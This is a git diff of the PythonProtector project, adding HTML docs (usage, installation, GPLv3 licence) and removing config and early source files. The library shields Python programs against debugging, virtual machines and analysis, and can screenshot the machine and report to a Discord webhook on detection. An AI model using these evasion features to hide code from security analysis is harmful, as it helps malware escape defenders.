pip install git+https://github.com/xFGhoul/PythonProtector.git
+

+

Usage

+

Quick Example: +

from pathlib import Path
+from threading import Thread
+
+from pyprotector import PythonProtector
+
+# -- Define Constants
+LOGGING_PATH = (
+    Path.home() / "AppData/Roaming/PythonProtector/logs/[Security].log"
+)  # -- This can be any path
+
+# -- Construct Class
+security = PythonProtector(
+    debug=True,
+    modules=[
+        "AntiProcess",
+        "AntiVM",
+        "Miscellaneous",
+        "AntiDLL",
+        "AntiAnalysis"],
+    logs_path=LOGGING_PATH,
+    webhook_url="",
+    on_detect=[
+        "Report",
+        "Exit",
+        "Screenshot"],
+)
+
+# -- Main Code
+if __name__ == "__main__":
+    SecurityThread = Thread(
+        name="Python Protector", target=security.start
+    )  # -- Start Before Any Other Code Is Run
+    SecurityThread.start()
+    # Other Code
+

+

You can find more examples in the examples directory.

+

Files and Explanations

+

├──.github — GitHub configuration including CI/CD workflows
+├──.vscode — VSCode Related Settings
+├──data — Data Files Needed By PythonProtector
+├──examples — Examples Showing How To Use PythonProtector
+├──pyprotector — Source Code Of PythonProtector
+├──scripts — Scripts Used In The Development Process

+
+

Made With ❤️ By ghoul#1337 and Marci#0101

+
+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/installation/index.html b/installation/index.html new file mode 100755 index 0000000..2cfbbf0 --- /dev/null +++ b/installation/index.html @@ -0,0 +1,1003 @@ + + + + + + + + + + + + + + + + + + + + + + + + Installation - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Installation

+

Getting Started

+

You can add PythonProtector to your python project in a few easy steps. First of all, +install the dependency:

+

Default Dependency

+

Python 3.11 or higher is required

+

Install The PyPi Version:

+
py -3 -m pip install -U PythonProtector
+
+

You may also install the development version:

+
pip install git+https://github.com/xFGhoul/PythonProtector.git
+
+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/license/index.html b/license/index.html new file mode 100755 index 0000000..a582104 --- /dev/null +++ b/license/index.html @@ -0,0 +1,1524 @@ + + + + + + + + + + + + + + + + + + + + + + + + License - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +
                GNU GENERAL PUBLIC LICENSE
+                   Version 3, 29 June 2007
+
+

Copyright (C) 2007 Free Software Foundation, Inc. https://fsf.org/ + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed.

+
                        Preamble
+
+

The GNU General Public License is a free, copyleft license for +software and other kinds of works.

+

The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too.

+

When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things.

+

To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others.

+

For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights.

+

Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it.

+

For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions.

+

Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users.

+

Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free.

+

The precise terms and conditions for copying, distribution and +modification follow.

+
                   TERMS AND CONDITIONS
+
+
    +
  1. Definitions.
  2. +
+

"This License" refers to version 3 of the GNU General Public License.

+

"Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks.

+

"The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations.

+

To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work.

+

A "covered work" means either the unmodified Program or a work based +on the Program.

+

To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well.

+

To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying.

+

An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion.

+
    +
  1. Source Code.
  2. +
+

The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work.

+

A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language.

+

The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it.

+

The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work.

+

The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source.

+

The Corresponding Source for a work in source code form is that +same work.

+
    +
  1. Basic Permissions.
  2. +
+

All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law.

+

You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you.

+

Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary.

+
    +
  1. Protecting Users' Legal Rights From Anti-Circumvention Law.
  2. +
+

No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures.

+

When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures.

+
    +
  1. Conveying Verbatim Copies.
  2. +
+

You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program.

+

You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee.

+
    +
  1. Conveying Modified Source Versions.
  2. +
+

You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions:

+
a) The work must carry prominent notices stating that you modified
+it, and giving a relevant date.
+
+b) The work must carry prominent notices stating that it is
+released under this License and any conditions added under section
+7.  This requirement modifies the requirement in section 4 to
+"keep intact all notices".
+
+c) You must license the entire work, as a whole, under this
+License to anyone who comes into possession of a copy.  This
+License will therefore apply, along with any applicable section 7
+additional terms, to the whole of the work, and all its parts,
+regardless of how they are packaged.  This License gives no
+permission to license the work in any other way, but it does not
+invalidate such permission if you have separately received it.
+
+d) If the work has interactive user interfaces, each must display
+Appropriate Legal Notices; however, if the Program has interactive
+interfaces that do not display Appropriate Legal Notices, your
+work need not make them do so.
+
+

A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate.

+
    +
  1. Conveying Non-Source Forms.
  2. +
+

You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways:

+
a) Convey the object code in, or embodied in, a physical product
+(including a physical distribution medium), accompanied by the
+Corresponding Source fixed on a durable physical medium
+customarily used for software interchange.
+
+b) Convey the object code in, or embodied in, a physical product
+(including a physical distribution medium), accompanied by a
+written offer, valid for at least three years and valid for as
+long as you offer spare parts or customer support for that product
+model, to give anyone who possesses the object code either (1) a
+copy of the Corresponding Source for all the software in the
+product that is covered by this License, on a durable physical
+medium customarily used for software interchange, for a price no
+more than your reasonable cost of physically performing this
+conveying of source, or (2) access to copy the
+Corresponding Source from a network server at no charge.
+
+c) Convey individual copies of the object code with a copy of the
+written offer to provide the Corresponding Source.  This
+alternative is allowed only occasionally and noncommercially, and
+only if you received the object code with such an offer, in accord
+with subsection 6b.
+
+d) Convey the object code by offering access from a designated
+place (gratis or for a charge), and offer equivalent access to the
+Corresponding Source in the same way through the same place at no
+further charge.  You need not require recipients to copy the
+Corresponding Source along with the object code.  If the place to
+copy the object code is a network server, the Corresponding Source
+may be on a different server (operated by you or a third party)
+that supports equivalent copying facilities, provided you maintain
+clear directions next to the object code saying where to find the
+Corresponding Source.  Regardless of what server hosts the
+Corresponding Source, you remain obligated to ensure that it is
+available for as long as needed to satisfy these requirements.
+
+e) Convey the object code using peer-to-peer transmission, provided
+you inform other peers where the object code and Corresponding
+Source of the work are being offered to the general public at no
+charge under subsection 6d.
+
+

A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work.

+

A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product.

+

"Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made.

+

If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM).

+

The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network.

+

Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying.

+
    +
  1. Additional Terms.
  2. +
+

"Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions.

+

When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission.

+

Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms:

+
a) Disclaiming warranty or limiting liability differently from the
+terms of sections 15 and 16 of this License; or
+
+b) Requiring preservation of specified reasonable legal notices or
+author attributions in that material or in the Appropriate Legal
+Notices displayed by works containing it; or
+
+c) Prohibiting misrepresentation of the origin of that material, or
+requiring that modified versions of such material be marked in
+reasonable ways as different from the original version; or
+
+d) Limiting the use for publicity purposes of names of licensors or
+authors of the material; or
+
+e) Declining to grant rights under trademark law for use of some
+trade names, trademarks, or service marks; or
+
+f) Requiring indemnification of licensors and authors of that
+material by anyone who conveys the material (or modified versions of
+it) with contractual assumptions of liability to the recipient, for
+any liability that these contractual assumptions directly impose on
+those licensors and authors.
+
+

All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying.

+

If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms.

+

Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way.

+
    +
  1. Termination.
  2. +
+

You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11).

+

However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation.

+

Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice.

+

Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10.

+
    +
  1. Acceptance Not Required for Having Copies.
  2. +
+

You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so.

+
    +
  1. Automatic Licensing of Downstream Recipients.
  2. +
+

Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License.

+

An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts.

+

You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it.

+
    +
  1. Patents.
  2. +
+

A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version".

+

A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License.

+

Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version.

+

In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party.

+

If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid.

+

If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it.

+

A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007.

+

Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law.

+
    +
  1. No Surrender of Others' Freedom.
  2. +
+

If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program.

+
    +
  1. Use with the GNU Affero General Public License.
  2. +
+

Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such.

+
    +
  1. Revised Versions of this License.
  2. +
+

The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns.

+

Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation.

+

If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program.

+

Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version.

+
    +
  1. Disclaimer of Warranty.
  2. +
+

THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

+
    +
  1. Limitation of Liability.
  2. +
+

IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES.

+
    +
  1. Interpretation of Sections 15 and 16.
  2. +
+

If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee.

+
                 END OF TERMS AND CONDITIONS
+
+        How to Apply These Terms to Your New Programs
+
+

If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms.

+

To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found.

+
<one line to give the program's name and a brief idea of what it does.>
+Copyright (C) <year>  <name of author>
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 3 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+

Also add information on how to contact you by electronic and paper mail.

+

If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode:

+
<program>  Copyright (C) <year>  <name of author>
+This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+This is free software, and you are welcome to redistribute it
+under certain conditions; type `show c' for details.
+
+

The hypothetical commands show w' andshow c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box".

+

You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +https://www.gnu.org/licenses/.

+

The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +https://www.gnu.org/licenses/why-not-lgpl.html.

+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
+ + + + + + + + + \ No newline at end of file diff --git a/mkdocs.yml b/mkdocs.yml deleted file mode 100644 index 49c227a..0000000 --- a/mkdocs.yml +++ /dev/null @@ -1,87 +0,0 @@ -site_name: PythonProtector -site_description: A modern, easy to use and feature-rich way to protect your Python Programs. - -theme: - features: - - header.autohide - - search.suggest - - search.share - - search.highlight - - content.tabs.link - - content.code.copy - name: material - palette: - - scheme: default - primary: teal - accent: teal - toggle: - icon: material/lightbulb - name: Switch to dark mode - - scheme: slate - primary: teal - accent: teal - toggle: - icon: material/lightbulb-outline - name: Switch to light mode - favicon: favicon.png - icon: - repo: fontawesome/brands/github - -repo_name: xFGhoul/PythonProtector -repo_url: https://github.com/xFGhoul/PythonProtector - -markdown_extensions: - - pymdownx.highlight: - anchor_linenums: true - - pymdownx.inlinehilite - - pymdownx.snippets - - pymdownx.superfences - - - -extra: - social: - - icon: fontawesome/brands/github-alt - link: https://github.com/xFGhoul - - icon: fontawesome/brands/discord - link: https://discord.gg/yMu9qjdrmp - - icon: fontawesome/brands/twitter - link: https://twitter.com/xghouldev - generator: false - -copyright: Copyright © 2022 - 2023 xFGhoul & Marci - -nav: - - About: index.md - - installation.md - - Configuration: - - PythonProtector: configuration/PythonProtector/index.md - - Modules: - - Anti Analysis: - - Method Reference: configuration/Modules/Anti Analysis/index.md - - Event Reference: configuration/Modules/Anti Analysis/events.md - - Anti DLL: - - Method Reference: configuration/Modules/Anti DLL/index.md - - Event Reference: configuration/Modules/Anti DLL/events.md - - Anti Process: - - Method Reference: configuration/Modules/Anti Process/index.md - - Event Reference: configuration/Modules/Anti Process/events.md - - Anti VM: - - Method Reference: configuration/Modules/Anti VM/index.md - - Event Reference: configuration/Modules/Anti VM/events.md - - Anti Dump: - - Method Reference: configuration/Modules/Anti Dump/index.md - - Event Reference: configuration/Modules/Anti Dump/events.md - - Miscellaneous: - - Method Reference: configuration/Modules/Miscellaneous/index.md - - Event Reference: configuration/Modules/Miscellaneous/events.md - - Ext: - - Keyauth: configuration/Ext/Keyauth/index.md - - Intro To Events: configuration/Events/index.md - - Frequently Asked Questions: faq.md - - License: license.md - - Release Notes: release.md - - Code Of Conduct: code_of_conduct.md - -plugins: - - search \ No newline at end of file diff --git a/pyproject.toml b/pyproject.toml deleted file mode 100644 index 07dd76e..0000000 --- a/pyproject.toml +++ /dev/null @@ -1,32 +0,0 @@ -[project] -name = "pythonprotector" -version = "2.0" -description = "Add your description here" -readme = "README.md" -requires-python = ">=3.13" -dependencies = [ - "command-runner>=1.7.4", - "cryptography>=45.0.3", - "discord_webhook>=1.1.0", - "httpx>=0.28.1", - "humanize>=4.12.3", - "loguru>=0.7.3", - "observable>=1.0.3", - "psutil>=7.0.0", - "py-cpuinfo>=9.0.0", - "pywin32>=310", - "requests>=2.31.0", - "setuptools>=80.9.0", - "WMI>=1.5.1", - "Pillow>=11.0.0", -] - -[build-system] -requires = ["hatchling"] -build-backend = "hatchling.build" - -[tool.hatch.build.targets.wheel] -packages = ["pythonprotector"] - -[dependency-groups] -dev = ["black", "autopep8", "autoflake"] diff --git a/pyprotector/__init__.py b/pyprotector/__init__.py deleted file mode 100644 index 056b588..0000000 --- a/pyprotector/__init__.py +++ /dev/null @@ -1,17 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -__version__ = "1.8" -__source__ = "https://github.com/xFGhoul/PythonProtector" - -from .protector import PythonProtector - -__all__ = ["PythonProtector"] diff --git a/pyprotector/abc.py b/pyprotector/abc.py deleted file mode 100644 index d3d900e..0000000 --- a/pyprotector/abc.py +++ /dev/null @@ -1,31 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -from abc import ABCMeta, abstractmethod - - -class Module(metaclass=ABCMeta): - def __init__(self, webhook, logger, exit, report, event) -> None: - self.webhook = webhook - self.logger = logger - self.exit = exit - self.report = report - self.event = event - - @property - @abstractmethod - def name(self) -> str: - pass - - @property - @abstractmethod - def version(self) -> float: - pass diff --git a/pyprotector/constants.py b/pyprotector/constants.py deleted file mode 100644 index 1b12b7d..0000000 --- a/pyprotector/constants.py +++ /dev/null @@ -1,304 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / 